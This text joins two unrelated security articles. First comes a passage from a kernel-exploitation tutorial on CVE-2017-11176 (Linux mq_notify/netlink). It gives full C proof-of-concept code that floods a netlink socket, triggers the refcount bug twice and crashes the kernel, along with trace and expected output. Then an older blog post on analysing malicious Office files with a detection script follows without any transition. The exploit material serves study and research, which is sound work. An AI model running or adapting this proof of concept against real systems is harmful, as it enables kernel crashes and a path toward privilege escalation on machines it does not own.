  * **msg- >msg\_name->nl\_family** equals AF\_NETLINK
  * **msg- >msg\_name->nl\_groups** equals 0
  * **msg- >msg\_name->nl\_pid** is different from 0 and points to the receiver socket
  * the sender netlink socket must use the **NETLINK\_USERSOCK** protocol
  * **msg- >msg\_iovlen** equals 1
  * **msg- >msg\_iov** is a readable userland address
  * **msg- >msg\_iov->iov\_len** is lesser than or equals to sk\_sndbuf minus 32
  * **msg- >msg\_iov->iov\_base** is a readable userland address

What we've seen here is the kernel exploiter's duty. Analyzing each check,
forcing a particular kernel path, tailoring your syscall parameters, etc. In
practice, this is not that long to establish this list. Some paths are way
more complex than this.

Let's move on and now reach netlink\_attachskb\(\).

## Reach netlink\_attachskb\(\) from netlink\_unicast\(\)

This one should be easier than the previous one. netlink\_unicast\(\) is
called with the following parameters:

[code]

    netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT);
    
[/code]

Where:

  * **sk** is our sender netlink\_sock
  * **skb** is a socket buffer filled with _msg- >msg\_iov->iov\_base_ data of size _msg- >msg\_iov->iov\_len_
  * **dst\_pid** is a controlled pid \(_msg- >msg\_name->nl\_pid_\) pointing to our receiver netlink socket
  * **msg- >msg\_flasg&MSG\_DONTWAIT** indicates if netlink\_unicast\(\) should block or not

**WARNING** : Inside the netlink\_unicast\(\) code **"ssk" is the sender
socket and "sk" the receiver**.

The netlink\_unicast\(\) code is:

[code]

        int netlink_unicast(struct sock *ssk, struct sk_buff *skb,
                u32 pid, int nonblock)
        {
          struct sock *sk;
          int err;
          long timeo;
    
          skb = netlink_trim(skb, gfp_any());   // <----- ignore this
    
    [0]   timeo = sock_sndtimeo(ssk, nonblock);
        retry:
    [1]   sk = netlink_getsockbypid(ssk, pid);
          if (IS_ERR(sk)) {
            kfree_skb(skb);
            return PTR_ERR(sk);
          }
    [2]   if (netlink_is_kernel(sk))
            return netlink_unicast_kernel(sk, skb, ssk);
    
    [3]   if (sk_filter(sk, skb)) {
            err = skb->len;
            kfree_skb(skb);
            sock_put(sk);
            return err;
          }
    
    [4]   err = netlink_attachskb(sk, skb, &timeo, ssk);
          if (err == 1)
            goto retry;
          if (err)
            return err;
    
    [5]   return netlink_sendskb(sk, skb);
        }
    
[/code]

In \[0\], sock\_sndtimeo\(\) sets the value of **timeo** \(_timeout_\) based
on the _nonblock_ parameter. Since we don't want to block \(nonblock>0\),
timeo will be zero. That is **msg- >msg\_flags must set the MSG\_DONTWAIT
flag**.

In \[1\], the destination netlink\_sock "sk" is retrieved from the pid. As we
will see in the next section, **the destination netlink\_sock needs to be
bound** prior to being retrieved with netlink\_getsockbypid\(\).

In \[2\], the destination socket must not be a "kernel" socket. A netlink sock
is tagged _kernel_ if it has the _NETLINK\_KERNEL\_SOCKET_ flag. It means that
it has been created with the netlink\_kernel\_create\(\) function.
Unfortunately, the NETLINK\_GENERIC is one of them \(from current exploit\).
So let's **change the receiver socket protocol to NETLINK\_USERSOCK** as well.
It also makes more sense by the way... Note that a reference is taken on
receiver netlink\_sock.

In \[3\], the BPF sock filter might apply. It can be skipped if we **don't
create any BPF filter for the receiver sock**.

And.... The call \[4\] to netlink\_attachskb\(\)\! Inside
netlink\_attachskb\(\), we are guaranteed to take one of those paths \(should
we past the code again?\):

  1. the receiver buffer is not full: call skb\_set\_owner\_r\(\) -> increase sk\_rmem\_alloc
  2. the receiver buffer is full: netlink\_attachskb\(\) do not block and return -EAGAIN \(timeout is zero\)

**That is, we have a way to know when the receive buffer is full \(just check
the error code of sendmsg\(\)\).**

Finally, the call \[5\] to netlink\_sendskb\(\) adds the skb to the receiver
buffer list and drops the reference taken with netlink\_getsockbypid\(\).
Yay\! :-\)

Let's update the constraint list:

  * **msg- >msg\_flags** has the MSG\_DONTWAIT flag set
  * the receiver netlink socket must be bound prior calling sendmsg\(\)
  * the receiver netlink socket must use the **NETLINK\_USERSOCK** protocol
  * don't define any BPF filter for the receiver socket

We are very close to the final PoC now. We just need to bind the receiver
socket.

## Binding the receiver socket

Like any socket communication, two sockets can communicate by using
"addresses". Since we are manipulating netlink socket, we'll use the "struct
sockaddr\_nl" type \(cf. the manual\):

[code]

    struct sockaddr_nl {
       sa_family_t     nl_family;  /* AF_NETLINK */
       unsigned short  nl_pad;     /* Zero. */
       pid_t           nl_pid;     /* Port ID. */
       __u32           nl_groups;  /* Multicast groups mask. */
    };
    
[/code]

As we don't want to be part of a "broadcast group", _nl\_groups_ must be zero.
The only important field here is "nl\_pid".

Basically, **netlink\_bind\(\)** can take two paths:

  1. nl\_pid is not zero: it calls **netlink\_insert\(\)**
  2. nl\_pid is zero: it calls **netlink\_autobind\(\)** , which in turn calls netlink\_insert\(\)

Note that calling netlink\_insert\(\) with an already used _pid_ will fail
with the error "-EADDRINUSE". Otherwise, a mapping is created between the
_nl\_pid_ and the netlink sock. That is, the netlink sock can now be retrieved
with netlink\_getsockbypid\(\). In addition, **netlink\_insert\(\) increases
the sock reference counter by 1**. Keep this in mind for the final proof-of-
concept code.

**NOTE** : Understanding how netlink stores the "pid:netlink\_sock" mapping is
explained in deeper details in part 4.

While calling netlink\_autobind\(\) seems more natural, we actually _simulate
it_ \(don't know why... laziness mostly...\) from userland by bruteforcing the
pid value \(this is what autobind do\) until bind\(\) succeeds. Doing so,
allows us to directly have the destination nl\_pid value without calling
getsockname\(\), and \(might\) ease debugging \(really not sure about that
:-\)\).

## Putting It All Together

It was quite a long run to get into all those paths but we are now ready to
implement it in our exploit and finally reach our goal:
**netlink\_attachskb\(\) returns 1\!**

Here is the strategy:

  1. Create two AF\_NETLINK sockets with protocol NETLINK\_USERSOCK
  2. Bind the target \(receiver\) socket \(i.e. the one that must have its receive buffer full\)
  3. \[optional\] Try to reduce the target socket receive buffer \(less call to sendmsg\(\)\)
  4. Flood the target socket via _sendmsg\(\)_ from the sender socket until it returns EAGAIN
  5. Close the sender socket \(we won't need it anymore\)

You can run this single code in _standalone_ to validate that everything
works:

[code]

    static int prepare_blocking_socket(void)
    {
      int send_fd;
      int recv_fd;
      char buf[1024*10]; // should be less than (sk->sk_sndbuf - 32), you can use getsockopt()
      int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF
    
      struct sockaddr_nl addr = {
        .nl_family = AF_NETLINK,
        .nl_pad = 0,
        .nl_pid = 118, // must different than zero
        .nl_groups = 0 // no groups
      };
    
      struct iovec iov = {
        .iov_base = buf,
        .iov_len = sizeof(buf)
      };
    
      struct msghdr mhdr = {
        .msg_name = &addr,
        .msg_namelen = sizeof(addr),
        .msg_iov = &iov,
        .msg_iovlen = 1,
        .msg_control = NULL,
        .msg_controllen = 0,
        .msg_flags = 0, 
      };
    
      printf("[ ] preparing blocking netlink socket\n");
    
      if ((send_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0 ||
          (recv_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0)
      {
        perror("socket");
        goto fail;
      }
      printf("[+] socket created (send_fd = %d, recv_fd = %d)\n", send_fd, recv_fd);
    
      // simulate netlink_autobind()
      while (_bind(recv_fd, (struct sockaddr*)&addr, sizeof(addr)))
      {
        if (errno != EADDRINUSE)
        {
          perror("[-] bind");
          goto fail;
        }
        addr.nl_pid++;
      }
    
      printf("[+] netlink socket bound (nl_pid=%d)\n", addr.nl_pid);
    
      if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))
        perror("[-] setsockopt"); // no worry if it fails, it is just an optim.
      else
        printf("[+] receive buffer reduced\n");
    
      printf("[ ] flooding socket\n");
      while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0)  // <----- don't forget MSG_DONTWAIT
        ;
      if (errno != EAGAIN)  // <----- did we failed because the receive buffer is full ?
      {
        perror("[-] sendmsg");
        goto fail;
      }
      printf("[+] flood completed\n");
    
      _close(send_fd);
    
      printf("[+] blocking socket ready\n");
      return recv_fd;
    
    fail:
      printf("[-] failed to prepare block socket\n");
      return -1;
    }
    
[/code]

Let's check the result with system tap. **From here, System Tap should only be
used to observe the kernel, it must not modify anything.** Remember to remove
the line that marks the socket as _congested_ , and run it:

[code]

    (2768-2768) [SYSCALL] ==>> sendmsg (3, 0x7ffe69f94b50, MSG_DONTWAIT)
    (2768-2768) [uland] ==>> copy_from_user ()
    (2768-2768) [uland] ==>> copy_from_user ()
    (2768-2768) [uland] ==>> copy_from_user ()
    (2768-2768) [netlink] ==>> netlink_sendmsg (kiocb=0xffff880006137bb8 sock=0xffff88002fdba0c0 msg=0xffff880006137f18 len=0x2800)
    (socket=0xffff88002fdba0c0)->sk->sk_refcnt = 1
    (2768-2768) [netlink] ==>> netlink_autobind (sock=0xffff88002fdba0c0)
    (2768-2768) [netlink] <<== netlink_autobind = 0
    (2768-2768) [skb] ==>> alloc_skb (priority=0xd0 size=?)
    (2768-2768) [skb] ==>> skb_put (skb=0xffff88003d298840 len=0x2800)
    (2768-2768) [skb] <<== skb_put = ffff880006150000
    (2768-2768) [iovec] ==>> memcpy_fromiovec (kdata=0xffff880006150000 iov=0xffff880006137da8 len=0x2800)
    (2768-2768) [uland] ==>> copy_from_user ()
    (2768-2768) [iovec] <<== memcpy_fromiovec = 0
    (2768-2768) [netlink] ==>> netlink_unicast (ssk=0xffff880006173c00 skb=0xffff88003d298840 pid=0x76 nonblock=0x40)
    (2768-2768) [netlink] ==>> netlink_lookup (pid=? protocol=? net=?)
    (2768-2768) [sk] ==>> sk_filter (sk=0xffff88002f89ac00 skb=0xffff88003d298840)
    (2768-2768) [sk] <<== sk_filter = 0
    (2768-2768) [netlink] ==>> netlink_attachskb (sk=0xffff88002f89ac00 skb=0xffff88003d298840 timeo=0xffff880006137ae0 ssk=0xffff880006173c00)
    -={ dump_netlink_sock: 0xffff88002f89ac00 }=-
    - sk = 0xffff88002f89ac00
    - sk->sk_rmem_alloc = 0                               // <-----
    - sk->sk_rcvbuf = 2312                                // <-----
    - sk->sk_refcnt = 3
    - nlk->state = 0
    - sk->sk_flags = 100
    -={ dump_netlink_sock: END}=-
    (2768-2768) [netlink] <<== netlink_attachskb = 0
    -={ dump_netlink_sock: 0xffff88002f89ac00 }=-
    - sk = 0xffff88002f89ac00
    - sk->sk_rmem_alloc = 10504                           // <-----
    - sk->sk_rcvbuf = 2312                                // <-----
    - sk->sk_refcnt = 3
    - nlk->state = 0
    - sk->sk_flags = 100
    -={ dump_netlink_sock: END}=-
    (2768-2768) [netlink] <<== netlink_unicast = 2800
    (2768-2768) [netlink] <<== netlink_sendmsg = 2800
    (2768-2768) [SYSCALL] <<== sendmsg= 10240
    
[/code]

**Awesome\! We now satisfy the "receive buffer full" condition
\(_sk\_rmem\_alloc > sk\_rcvbuf_\). That is, the next call to
_mq\_attachskb\(\)_ will returns 1\!**

Let's update the TODO list:

  1. \[DONE\] Force netlink\_attachskb\(\) to return 1
  2. \[DONE\] Unblock the exploit thread
  3. \[DONE\] Force the second fget\(\) call to return NULL

Are we done? Almost...

# Final Proof-Of-Concept Code

In the last three sections, we implemented every condition needed to trigger
the bug using only _userland code_. Before showing the final _proof-of-
concept_ code, there is **one more thing to do**.

While trying to fill the receive buffer, we saw that the refcounter has been
increased by one during netlink\_bind\(\) because of netlink\_insert\(\). It
means that _before_ entering _mq\_notify\(\)_ the refcounter is set to two
\(instead of one\).

Since the bug gives us a _primitive_ that decreases a _netlink\_sock_
refcounter by 1, we need to **trigger the bug twice**\!

Before triggering the bug, we used _dup\(\)_ to have a way to unblock the main
thread. We will need to use it _again_ \(because the old one is closed\), so
we can keep one fd to unblock and another one to trigger the bug.

**"_Show me the code\!_ "**

Alright, here is the final PoC \(don't run system tap\):

[code]

    /*
     * CVE-2017-11176 Proof-of-concept code by LEXFO.
     *
     * Compile with:
     *
     *  gcc -fpic -O0 -std=c99 -Wall -pthread exploit.c -o exploit
     */
    
    #define _GNU_SOURCE
    #include <asm/types.h>
    #include <mqueue.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <sys/syscall.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <linux/netlink.h>
    #include <pthread.h>
    #include <errno.h>
    #include <stdbool.h>
    
    // ============================================================================
    // ----------------------------------------------------------------------------
    // ============================================================================
    
    #define NOTIFY_COOKIE_LEN (32)
    #define SOL_NETLINK (270) // from [include/linux/socket.h]
    
    // ----------------------------------------------------------------------------
    
    // avoid library wrappers
    #define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)
    #define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)
    #define _setsockopt(sockfd, level, optname, optval, optlen) \
      syscall(__NR_setsockopt, sockfd, level, optname, optval, optlen)
    #define _getsockopt(sockfd, level, optname, optval, optlen) \
      syscall(__NR_getsockopt, sockfd, level, optname, optval, optlen)
    #define _dup(oldfd) syscall(__NR_dup, oldfd)
    #define _close(fd) syscall(__NR_close, fd)
    #define _sendmsg(sockfd, msg, flags) syscall(__NR_sendmsg, sockfd, msg, flags)
    #define _bind(sockfd, addr, addrlen) syscall(__NR_bind, sockfd, addr, addrlen)
    
    // ----------------------------------------------------------------------------
    
    #define PRESS_KEY() \
      do { printf("[ ] press key to continue...\n"); getchar(); } while(0)
    
    // ============================================================================
    // ----------------------------------------------------------------------------
    // ============================================================================
    
    struct unblock_thread_arg
    {
      int sock_fd;
      int unblock_fd;
      bool is_ready; // we can use pthread barrier instead
    };
    
    // ----------------------------------------------------------------------------
    
    static void* unblock_thread(void *arg)
    {
      struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg;
      int val = 3535; // need to be different than zero
    
      // notify the main thread that the unblock thread has been created. It *must*
      // directly call mq_notify().
      uta->is_ready = true; 
    
      sleep(5); // gives some time for the main thread to block
    
      printf("[ ][unblock] closing %d fd\n", uta->sock_fd);
      _close(uta->sock_fd);
    
      printf("[ ][unblock] unblocking now\n");
      if (_setsockopt(uta->unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))
        perror("[+] setsockopt");
      return NULL;
    }
    
    // ----------------------------------------------------------------------------
    
    static int decrease_sock_refcounter(int sock_fd, int unblock_fd)
    {
      pthread_t tid;
      struct sigevent sigev;
      struct unblock_thread_arg uta;
      char sival_buffer[NOTIFY_COOKIE_LEN];
    
      // initialize the unblock thread arguments
      uta.sock_fd = sock_fd;
      uta.unblock_fd = unblock_fd;
      uta.is_ready = false;
    
      // initialize the sigevent structure
      memset(&sigev, 0, sizeof(sigev));
      sigev.sigev_notify = SIGEV_THREAD;
      sigev.sigev_value.sival_ptr = sival_buffer;
      sigev.sigev_signo = uta.sock_fd;
    
      printf("[ ] creating unblock thread...\n");
      if ((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0)
      {
        perror("[-] pthread_create");
        goto fail;
      }
      while (uta.is_ready == false) // spinlock until thread is created
        ;
      printf("[+] unblocking thread has been created!\n");
    
      printf("[ ] get ready to block\n");
      if ((_mq_notify((mqd_t)-1, &sigev) != -1) || (errno != EBADF))
      {
        perror("[-] mq_notify");
        goto fail;
      }
      printf("[+] mq_notify succeed\n");
    
      return 0;
    
    fail:
      return -1;
    }
    
    // ============================================================================
    // ----------------------------------------------------------------------------
    // ============================================================================
    
    /*
     * Creates a netlink socket and fills its receive buffer.
     *
     * Returns the socket file descriptor or -1 on error.
     */
    
    static int prepare_blocking_socket(void)
    {
      int send_fd;
      int recv_fd;
      char buf[1024*10];
      int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF
    
      struct sockaddr_nl addr = {
        .nl_family = AF_NETLINK,
        .nl_pad = 0,
        .nl_pid = 118, // must different than zero
        .nl_groups = 0 // no groups
      };
    
      struct iovec iov = {
        .iov_base = buf,
        .iov_len = sizeof(buf)
      };
    
      struct msghdr mhdr = {
        .msg_name = &addr,
        .msg_namelen = sizeof(addr),
        .msg_iov = &iov,
        .msg_iovlen = 1,
        .msg_control = NULL,
        .msg_controllen = 0,
        .msg_flags = 0, 
      };
    
      printf("[ ] preparing blocking netlink socket\n");
    
      if ((send_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0 ||
          (recv_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0)
      {
        perror("socket");
        goto fail;
      }
      printf("[+] socket created (send_fd = %d, recv_fd = %d)\n", send_fd, recv_fd);
    
      while (_bind(recv_fd, (struct sockaddr*)&addr, sizeof(addr)))
      {
        if (errno != EADDRINUSE)
        {
          perror("[-] bind");
          goto fail;
        }
        addr.nl_pid++;
      }
    
      printf("[+] netlink socket bound (nl_pid=%d)\n", addr.nl_pid);
    
      if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))
        perror("[-] setsockopt"); // no worry if it fails, it is just an optim.
      else
        printf("[+] receive buffer reduced\n");
    
      printf("[ ] flooding socket\n");
      while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0)
        ;
      if (errno != EAGAIN)
      {
        perror("[-] sendmsg");
        goto fail;
      }
      printf("[+] flood completed\n");
    
      _close(send_fd);
    
      printf("[+] blocking socket ready\n");
      return recv_fd;
    
    fail:
      printf("[-] failed to prepare block socket\n");
      return -1;
    }
    
    // ============================================================================
    // ----------------------------------------------------------------------------
    // ============================================================================
    
    int main(void)
    {
      int sock_fd  = -1;
      int sock_fd2 = -1;
      int unblock_fd = 1;
    
      printf("[ ] -={ CVE-2017-11176 Exploit }=-\n");
    
      if ((sock_fd = prepare_blocking_socket()) < 0)
        goto fail;
      printf("[+] netlink socket created = %d\n", sock_fd);
    
      if (((unblock_fd = _dup(sock_fd)) < 0) || ((sock_fd2 = _dup(sock_fd)) < 0))
      {
        perror("[-] dup");
        goto fail;
      }
      printf("[+] netlink fd duplicated (unblock_fd=%d, sock_fd2=%d)\n", unblock_fd, sock_fd2);
    
      // trigger the bug twice
      if (decrease_sock_refcounter(sock_fd, unblock_fd) ||
          decrease_sock_refcounter(sock_fd2, unblock_fd))
      {
        goto fail;
      }
    
      printf("[ ] ready to crash?\n");
      PRESS_KEY();
    
      // TODO: exploit
    
      return 0;
    
    fail:
      printf("[-] exploit failed!\n");
      PRESS_KEY();
      return -1;
    }
    
    // ============================================================================
    // ----------------------------------------------------------------------------
    // ============================================================================
    
[/code]

The expected output is:

[code]

    [ ] -={ CVE-2017-11176 Exploit }=-
    [ ] preparing blocking netlink socket
    [+] socket created (send_fd = 3, recv_fd = 4)
    [+] netlink socket bound (nl_pid=118)
    [+] receive buffer reduced
    [ ] flooding socket
    [+] flood completed
    [+] blocking socket ready
    [+] netlink socket created = 4
    [+] netlink fd duplicated (unblock_fd=3, sock_fd2=5)
    [ ] creating unblock thread...
    [+] unblocking thread has been created!
    [ ] get ready to block
    [ ][unblock] closing 4 fd
    [ ][unblock] unblocking now
    [+] mq_notify succeed
    [ ] creating unblock thread...
    [+] unblocking thread has been created!
    [ ] get ready to block
    [ ][unblock] closing 5 fd
    [ ][unblock] unblocking now
    [+] mq_notify succeed
    [ ] ready to crash?
    [ ] press key to continue...
    
    <<< KERNEL CRASH HERE >>>
    
[/code]

From now, up until the exploit is complete \(i.e. kernel repaired\), the
system will **constantly crash** at each run. This is annoying but you will
get used to it. You might want to speed up your boot time by removing all
unnecessary services \(e.g. graphical stuff, etc.\). Remind to re-enable them
later so you can match your "real" target \(they **do** actually have an
impact on the kernel\).

* * *
# Conclusion

This article introduced the scheduler subsystem, task state and how to
transition between running/waiting state using wait queues. Understanding it
allowed us to wake up the main thread and win the race condition.

With the help of the close\(\) and a trick with dup\(\) syscall, we forced the
second call to fget\(\) to return NULL, required to trigger the bug. Finally,
we studied various ways to enter the "retry path" inside
netlink\_attachskb\(\), hence making it return 1.

All of this gives us the proof-of-concept code \(using userland code only\)
that reliably triggers the bug without using System Tap anymore and makes the
kernel crash.

The next article will cover an important topic: use-after-free exploitation.
It will explain the basics of the slab allocator, type confusion, reallocation
and how to use it to gain an _arbitrary call primitive_. Some new tools will
be exposed that help building and debugging the exploit. In the end, we will
make the kernel panic when _we want to_.

# Evilcodecave: Malicious Office Files Analysis – pyOLEScanner and
Cryptoanalytical Approach

**Created:**| _11/13/2010 3:56:54 PM_  
---|---  
**Updated:**| _11/13/2010 3:57:11 PM_  
**Author:**| __  
**Tags:**| _windows security reversing crypto Malware-analysis_  
  

### Malicious Office Files Analysis – pyOLEScanner and Cryptoanalytical
Approach

In this article I'm going to talk about Malware Analysis and Malicious Anatomy
of **Infected Microsoft Office files** like **doc/xls/ppt**. A fast overview
of this threat has been already exposed into previous blog post.  
  
This time article will mix practical aspects of infected office file analysis
and theoretical ones directly releated to **Automated Detection** \( by
presenting also **pyOLEScanner** a python script i wrote for Malicious OLE2
file Detection\) and **Cryptoanalytical Approach** to show alternative ways of
**Detection and Profiling**.  
  
In the latest period there is a great attention on threats deriving from pdf
files, especially because are widely spreaded between the great audience and
major part of users, this due to the high diffusion performed by Exploit Kits
that very often make use of infected pdf.  
  
Threats \(**Malware** and **Information Leakage via Covert Channels**\)
derivig from **Abuse of Microsoft Office Binary Files** does not have the same
attention of PDF Threats by users, but they represents a big risk not only for
common users but also on higher sensitive data context.  
  
Truly important **Sensitive Targets** like **Law Enforcement, National
Security and Governative Organizations** in past months has been targetted by
malicious fake .doc reports which dropped down Rootkits and Botnets
specifically crafter for **Cyber Espionage**.  
  
OLE2 based infections still has a great rate success rate, due to a not so
advanced detection performed by common AV.  
  
It's interesting to put in evidence that, malicious docs \(doc/ppt/xls\) are
mainly spreaded between Professional Environments, where is higher the risk of
information leak.  
  

**\_\_The Origin of the Threat\_\_**

  

Here just a little overview over origins of the threat, a more extended
treatise will be presented in my complete work on that subject.  
  
Office File Format is technically identified as **OLE2** or **Compound File
Format** , which is a FileSystem over File. Inside an OLE2 file we can embed a
wide variety of objects, like also malicious executables, without giving any
evidence to the victim of what is really contained into these files.  
  
Obviously only the presence of an executable does not mean that this will be
dieliberately executed once the document is opened. We need a **mechanism**
that forces MS Office to run this executable.This "mechanism" is, in the major
cases, a vulnerability of Office itself.  
  
Essentially Office acts as Writer or Reader, in this case we are interested in
Reading functionalities.  
  
In our case vulnerabilities resides in the File Handling \( which comprises
Doc Parsing and Doc Rendering\); due to the high complexity of OLE2 Format we
need an highly descriptive Structure, this directly implies the presence of a
wide range of Fields and SubFields to correctly handle and address objects and
data contained in.  
  
Complex file formats implies complex operation of file parsing, so there is an
obvious high risk of parsing errors, these errorr could derive from wrongly
filled fields and/or more heavy malformations of the file itself.  
  
If parser does not have a good Error Handling system, the result is obvious,
we will have a Crash.  
  
Here the common Reader Task:  
  

<img src='img/Temp2_2785.jpg' />

  
Let's see the flow of an specifically malformed office file:  
  

<img src='img/Temp2_2779.jpg' width='400' height='50' />

  
Where is present a Crash, there is a risk of an Exploitable Vulnerability, at
this point we can profile the fisiology of an document based infection.  
  

<img src='img/Temp2_2782.jpg' width='400' height='36' />

  
Sometimes happens that malicious executable is stored into the malicious doc
in xor encrypted form.  
  
These observation leads to a set of characteristics that have an high grade of
univocity and lead to possible **Detection Rules** , with a low risk of False
Positive:  
  
**1\. Presence of Embedded Executables \(clean/encrypted case\)  
2\. Presence of Embedded OLE \(clean/encrypted case\)  
3\. Presence of Shellcode  
4\. Evidence of Well Known Malformations**  
  
From theory we can now move toward real cases, we can perform a primary list
and successive detection of exploits simply by checking the specific
malformation:  
  
**CVE-2009-3129** => FEATHEADER record containing an invalid cbHdrData size
element that affects a pointer offset  
**CVE-2009-1129** => Inconsistent record length in sound data  
**CVE-2006-2492** => Malformed object pointer  
**CVE-2008-3005** => Crafted array index for a FORMAT record  
**CVE-2009-0556** => OutLineTextRef that cintains invalid index value that
triggers memory corruption  
**CVE-2008-4024** => Crafted lcbPlcfBkfSdt field in the File Information Block
\(FIB\)  
**CVE-2007-1203** => Crafted set font value in an Excel file \(AUTOFILTER
RECORD\)  
**CVE-2008-3005** => Malformed Asian language atom  
**CVE-2008-4266** => NAME record that contains an invalid index value  
**CVE-2007-0027** => Malformed IMDATA records  
**CVE-2007-0029** => Malformed string  
**CVE-2007-0030** => Out-of-range Column field in certain BIFF8 record types  
**CVE-2007-0031** => BIFF8 spreadsheet with a PALETTE record that contains a
large number of entries  
**CVE-2007-0209** => Malformed drawing object  
**CVE-2007-0215** => BIFF file with a malformed Named Graph record  
  
Other univoque malformation can be checked by looking for 'Office' in CVE
repositories like:  
  
**http://www.saintcorporation.com/cgi-bin/doc.pl?document=cve\_2008  
http://www.saintcorporation.com/cgi-bin/doc.pl?document=cve\_2009  
http://www.saintcorporation.com/cgi-bin/doc.pl?document=cve\_2010**  
  
  

**\_\_Some Real-Life Samples\_\_**

  
Let's now see some real-life case samples.  
  
It's important to put a clarification, OLE2 format as previously said serves
documents, powerpoints and excel files, but each typology presents a Sub-
FileFormat, to best fit the kind of data contained, here a list of sub-
FileFormats:  
**  
Documents** => **Common** **OLE2**  
**PowerPoint** => OLE2 + **Containers and Atom Structures**  
**Excel** => OLE2 + **BIFF Records**  
  
What previously said in the precedent paragraph constitutes a track that can
be followe to perform a Well Ordered Analysis:  
  
**Identification, if possible of Vulnerability involved in.  
Localization and Extraction of Shellcode  
Localization and Extraction of Malicious Executable**  
  
It's very frequent that executable is stored in encrypted form, usually **One
Byte XOR Encryption**. Emerges the necessity to have an automated algorithm
that perform a XOR Bruteforce and for each result scans for Executable
Evidences \( **'MZ' – 'PE' – 'This program cannot be run in DOS mode'** \)  
  
There is a great tool developed by **Frank Boldewin** , called
**OfficeMalScanner** that greatly automates this process, by scanning for
embedded executables/OLEs/ShellCodes and Suspect APIs.  
  
Previous week I've developed a similar tool, which is a component for a larger
project devoted to **Malicious Document Forensics**.  
  
**http://evilcry.netsons.org/other/pyOLEScanner.py**  
  
**PyOLEScanner** is actually written for Python 2.6 and supports:  
  
**Executable Detection  
ShellCode Detection  
Embedded OLE Detection  
Common API Detection  
XOR Bruteforcing**  
  
Next version will provide a Malformation Detector.  
  
Now we have all tools to move on **Real-Life Cases**.  
  
First sample is an infected XLS that makes use of **CVE-2009-3129**
Vulnerability, in this case we suppose to know the Vulnerability in use.  
  
**CVE-2009-3129** denotes a flaw into **FEATHEADER Record** , that contains an
**invalid cbHdrData size** element that affects a pointer offset. The best
tool to deeply inspect an OLE2 file is actually **OffVis**.  
  
Let's see the general structure of an XLS:  
  

<img src='img/Temp2_2783.jpg' width='640' height='395' />

  
Inside **ExcelBinaryDocument** we have BIFF Array. In our case **FEATHEADER**
is not malformed as expected but the final **Array Element has some
incosistent field values** :  
  

<img src='img/Temp2_2781.jpg' width='640' height='364' />

  
  
BIFFRecord\_General\[80\] reveals an invalid length and data is empty, this an
evident maformation.  
  
Let's scan with pyOleScanner our sample, here the output:  
  
+---------------------------------------------------------------+  
  
**\[-\] OLE File Seems Valid**  
  
**\[+\] Scanning for Embedded OLE in Clean**  
  
No Embedded OLE  
  
**\[+\] Scanning for API presence in Clean**  
  
**Revealed presence of CreateFileA at offset:0x8524  
Revealed presence of GetProcAddress at offset:0x8480  
Revealed presence of LoadLibraryA at offset:33938  
Revealed presence of WinExec at offset:0x84dc  
Revealed presence of GetSystemDirectoryA at offset:0x84a2  
Revealed presence of WriteFile at offset:0x8518**  
  
==========================================  
  
Warning File is Potentially INFECTED\!\!\!\!  
  
  
**\[+\]Scanning for Embedded Executables - Clean Case**  
  
No Embedded Executables Found  
  
**\[+\] Starting XOR Attack..**  
  
\('Testing Key: ', '0x1'\)  
\('Testing Key: ', '0x2'\)  
\('Testing Key: ', '0x3'\)  
  
**\[+\] Scanning for Shellcode Presence**  
  
**FS:\[00\] Shellcode at offset:0x7e23  
  
Call Prolog at offset:0x73b0**  
+---------------------------------------------------------------+  
  
As you can see output demonstrates two evidences of infection:  
  
**Presence of Suspicious APIs  
Presence of FS\[00\] opcodes that belongs to Shellcode  
Presence of Call Prolog opcodes that belongs to Shellcode**  
  
We have shellcode offset, so we can locate and carve out shellcode from the
malicious doc:  
  

<img src='img/Temp2_2786.jpg' width='640' height='324' />

  
  
Now we have to possible ways to analyze in depth that shellcode:  
  
**1\. Direct Debugging Approach  
2\. Extraction and Dumping into a new Executable Approach**  
  
**Direct debugging approach** it's easy, we have the starting offset of the
shellcode, so we can wake up debugger, by inserting an INT 3, just by
substituting the first byte 0x64 with 0xCC and correctly trigger Debug Events.  
Successively run in debug mode Office and open the infected doc, obviously
execution will reach our int 3, we can now restore the original byte.  
  
**Extraction and Dumping** can be easly performed by using another tool
provided by Frank Boldewin, that rebuilds shellcode into a new executable,
here the syntax:  
  
**MalHost-Setup.exe infected.xls out.exe 0x7E23 wait**  
  
Builded executable will present and endless loop \(0xEBFE\) at the beginning
of shellcode, what we have to do, once reached that point, restore EBFE
opcodes with shellcode's originals.  
  
This specific infected excel file does not have an embedded executable, only a
shellcode and references to API names, so I prefer in this case Direct Debug
Approach, to follow Live what happens and how code is managed and executed.  
  
Let's now inspect a **CVE-2006-2492** doc, that vulnerability is 4 years old
but a still alive risk, indeed that samples has been capture not so many time
ago.  
  
In this case affected component is a **WordFIB** field.  
  
**FIB** stands for **File Information Block** and it's used to specify the
location of all other data in the file, these location are specified by a pair
of integers. The first one points out to the location, the second one it's the
size of the data block. We have a certain number of subfields like:  
  
**FIBTable97  
FIBTable2000  
FIBTable2002  
FIBTable2003**  
  
Located here we have another structure called **Plcfbkfb** , that is an
element of a hierachically higher structure called **FBKFD** which describes a
**Bookmark Object**. Between various fields there is one called
**PlcfBkfFactoid** \(a parallel to **SttbfBkmkFactoid**\), subscetible of
flaw, when PlcfBkfFactoid is out of range may lead to a crash.  
  

<img src='img/Temp2_2784.jpg' width='500' height='640' />

